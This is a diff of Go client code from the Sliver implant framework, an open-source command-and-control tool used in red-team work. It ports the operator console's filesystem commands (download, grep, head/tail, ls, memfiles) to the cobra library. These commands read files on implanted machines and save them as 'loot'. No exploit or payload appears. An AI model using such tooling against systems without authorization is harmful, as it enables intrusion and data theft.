con.PrintErrorf("%s\n", download.Response.Err)
|
||||
@@ -118,9 +119,14 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
}
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
remotePath := args[0]
|
||||
var localPath string
|
||||
if len(args) == 1 {
|
||||
localPath = "."
|
||||
} else {
|
||||
localPath = args[1]
|
||||
}
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
@@ -129,15 +135,11 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
fType, _ := cmd.Flags().GetString("file-type")
|
||||
fileType := loot.ValidateLootFileType(fType, download.Data)
|
||||
loot.LootDownload(download, lootName, fileType, cmd, con)
|
||||
} else {
|
||||
fileName := filepath.Base(remotePath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
|
||||
@@ -0,0 +1,304 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const maxLinesDisplayed = 50
|
||||
|
||||
func processFlags(searchPattern string, insensitive bool, exact bool) string {
|
||||
if !insensitive && !exact {
|
||||
return searchPattern
|
||||
}
|
||||
|
||||
var processedSearchPattern = searchPattern
|
||||
|
||||
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
|
||||
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
|
||||
|
||||
if insensitive {
|
||||
if flagsSpecifiedIndex != nil {
|
||||
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
|
||||
flags := searchPattern[:flagsSpecifiedIndex[1]]
|
||||
if !strings.Contains(flags, "i") {
|
||||
processedSearchPattern = "(?i" + searchPattern[2:]
|
||||
}
|
||||
} else {
|
||||
processedSearchPattern = "(?i)" + processedSearchPattern
|
||||
}
|
||||
}
|
||||
|
||||
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
|
||||
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
|
||||
|
||||
if exact {
|
||||
var endIndexOfFlags = 0
|
||||
|
||||
if flagsSpecifiedIndex != nil {
|
||||
endIndexOfFlags = flagsSpecifiedIndex[1]
|
||||
}
|
||||
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
|
||||
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
|
||||
} else {
|
||||
processedSearchPattern = `(^|\s)` + processedSearchPattern
|
||||
}
|
||||
|
||||
if strings.HasSuffix(processedSearchPattern, "$") {
|
||||
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
|
||||
} else {
|
||||
processedSearchPattern = processedSearchPattern + `(\s|$)`
|
||||
}
|
||||
}
|
||||
|
||||
return processedSearchPattern
|
||||
}
|
||||
|
||||
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
searchPattern := args[0]
|
||||
searchPath := args[1]
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
insensitive, _ := cmd.Flags().GetBool("insensitive")
|
||||
exact, _ := cmd.Flags().GetBool("exact")
|
||||
|
||||
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
|
||||
|
||||
// Sanity check the search pattern to validate that it is a valid regex
|
||||
_, err := regexp.Compile(searchPattern)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
|
||||
return
|
||||
}
|
||||
|
||||
// Context overrides individual values for before and after
|
||||
var linesBefore int32 = 0
|
||||
var linesAfter int32 = 0
|
||||
|
||||
if cmd.Flags().Changed("context") {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("context")
|
||||
linesAfter = linesBefore
|
||||
} else {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("before")
|
||||
linesAfter, _ = cmd.Flags().GetInt32("after")
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
|
||||
|
||||
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
SearchPattern: searchPatternProcessed,
|
||||
Path: searchPath,
|
||||
Recursive: recursive,
|
||||
LinesBefore: linesBefore,
|
||||
LinesAfter: linesAfter,
|
||||
})
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Async {
|
||||
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, grep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
// Using args[0] so that the operator's original input is preserved
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(grep.Response)
|
||||
} else {
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// printGrep - Print the results from the grep operation to stdout
|
||||
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
colorize, _ := cmd.Flags().GetBool("colorize-output")
|
||||
userLootFileType, _ := cmd.Flags().GetString("file-type")
|
||||
currentDateTime := time.Now().Format("2006-01-02_150405")
|
||||
if !cmd.Flags().Changed("lootName") {
|
||||
// If the loot name has not been specified by the operator, generate one
|
||||
con.GetActiveSessionConfig()
|
||||
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", grep.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
|
||||
saveLoot = true
|
||||
}
|
||||
|
||||
var resultQualifier string
|
||||
var displayLimit string
|
||||
|
||||
if numberOfResults == 1 {
|
||||
resultQualifier = "line"
|
||||
} else {
|
||||
resultQualifier = "lines"
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
|
||||
}
|
||||
|
||||
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
|
||||
} else {
|
||||
con.Println(strings.Join(grepResults, "\n"))
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
|
||||
}
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
|
||||
for _, fileName := range binaryFilesMatched {
|
||||
con.Printf("\t%s\n", fileName)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
// Do not allow escape sequences in the output when looting
|
||||
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
|
||||
|
||||
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
flags := []string{}
|
||||
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
|
||||
flags = append(flags, "recursive")
|
||||
}
|
||||
if exact, _ := cmd.Flags().GetBool("exact"); exact {
|
||||
flags = append(flags, "exact match")
|
||||
}
|
||||
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
|
||||
flags = append(flags, "case insensitive search")
|
||||
}
|
||||
|
||||
// Add a header to the looted grep results to indicate what the pattern was and what was searched
|
||||
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
|
||||
if len(flags) > 0 {
|
||||
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
|
||||
}
|
||||
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
grepResultsString += "\nThe following binary files contained one or more matches:\n"
|
||||
grepResultsString += strings.Join(binaryFilesMatched, "\n")
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
|
||||
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// grepLineResult - Add color or formatting for results for console output
|
||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||
var result string = ""
|
||||
var matchOutput func(a ...interface{}) string
|
||||
var previousPositionEnd int32 = 0
|
||||
|
||||
if colorize {
|
||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
||||
} else if allowFormatting {
|
||||
matchOutput = color.New(color.Bold).SprintFunc()
|
||||
}
|
||||
|
||||
for idx, position := range positions {
|
||||
if colorize || allowFormatting {
|
||||
result += line[previousPositionEnd:position.Start]
|
||||
result += matchOutput(line[position.Start:position.End])
|
||||
if idx == len(positions)-1 {
|
||||
result += line[position.End:]
|
||||
} else {
|
||||
previousPositionEnd = position.End
|
||||
}
|
||||
} else {
|
||||
result = line
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
|
||||
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
|
||||
var resultOutput []string
|
||||
var numberOfResults = 0
|
||||
binaryFilesMatched := []string{}
|
||||
|
||||
for fileName, result := range results {
|
||||
if result.IsBinary {
|
||||
if len(result.FileResults) > 0 {
|
||||
binaryFilesMatched = append(binaryFilesMatched, fileName)
|
||||
}
|
||||
}
|
||||
for _, lineResult := range result.FileResults {
|
||||
line := lineResult.Line
|
||||
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
|
||||
if len(lineResult.LinesBefore) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
|
||||
if len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, "\n")
|
||||
} else {
|
||||
if lineResult.LineNumber == -1 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
|
||||
} else {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
|
||||
}
|
||||
}
|
||||
numberOfResults += 1
|
||||
}
|
||||
}
|
||||
|
||||
return resultOutput, numberOfResults, binaryFilesMatched
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var filePath string
|
||||
var fetchBytes bool
|
||||
var fetchSize int64
|
||||
var operationName string
|
||||
var download *sliverpb.Download
|
||||
var err error
|
||||
|
||||
if len(args) > 0 {
|
||||
filePath = args[0]
|
||||
}
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("bytes") {
|
||||
fetchBytes = true
|
||||
fetchSize, _ = cmd.Flags().GetInt64("bytes")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of bytes
|
||||
con.PrintErrorf("The number of bytes specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "byte"
|
||||
} else {
|
||||
operationName = "bytes"
|
||||
}
|
||||
} else if cmd.Flags().Changed("lines") {
|
||||
fetchBytes = false
|
||||
fetchSize, _ = cmd.Flags().GetInt64("lines")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of lines
|
||||
con.PrintErrorf("The number of lines specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "line"
|
||||
} else {
|
||||
operationName = "lines"
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
|
||||
|
||||
// A tail is a negative head
|
||||
if !head {
|
||||
fetchSize *= -1
|
||||
}
|
||||
|
||||
if fetchBytes {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxBytes: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
} else {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxLines: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
}
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, cmd, con)
|
||||
}
|
||||
}
|
||||
@@ -27,26 +27,33 @@ import (
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// LsCmd - List the contents of a remote directory
|
||||
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
var remotePath string
|
||||
if len(args) == 1 {
|
||||
remotePath = args[0]
|
||||
} else {
|
||||
remotePath = "."
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -60,16 +67,16 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
PrintLs(ls, cmd.Flags(), con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
PrintLs(ls, cmd.Flags(), con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
@@ -97,9 +104,9 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
reverseSort, _ := flags.GetBool("reverse")
|
||||
sortByTime, _ := flags.GetBool("modified")
|
||||
sortBySize, _ := flags.GetBool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
@@ -149,13 +156,22 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
owner := ""
|
||||
if fileInfo.Uid != "" {
|
||||
owner = fileInfo.Uid
|
||||
}
|
||||
if fileInfo.Gid != "" {
|
||||
owner = owner + ":" + fileInfo.Gid + "\t"
|
||||
}
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// MemfilesAddCmd - Add memfile
|
||||
func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
|
||||
con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, memfilesAdd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAddMemfile(memfilesAdd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(memfilesAdd.Response)
|
||||
} else {
|
||||
PrintAddMemfile(memfilesAdd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAddMemfile - Print the memfiles response
|
||||
func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
|
||||
if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
// MemfilesListCmd - List memfiles
|
||||
func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if memfilesList.Response != nil && memfilesList.Response.Async {
|
||||
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, memfilesList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMemfiles(memfilesList, con)
|
||||
})
|
||||
con.PrintAsyncResponse(memfilesList.Response)
|
||||
} else {
|
||||
PrintMemfiles(memfilesList, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMemfiles - Display an sliverpb.Ls object
|
||||
func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
owner := ""
|
||||
if fileInfo.Uid != "" {
|
||||
owner = fileInfo.Uid
|
||||
}
|
||||
if fileInfo.Gid != "" {
|
||||
owner = owner + ":" + fileInfo.Gid + "\t"
|
||||
}
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
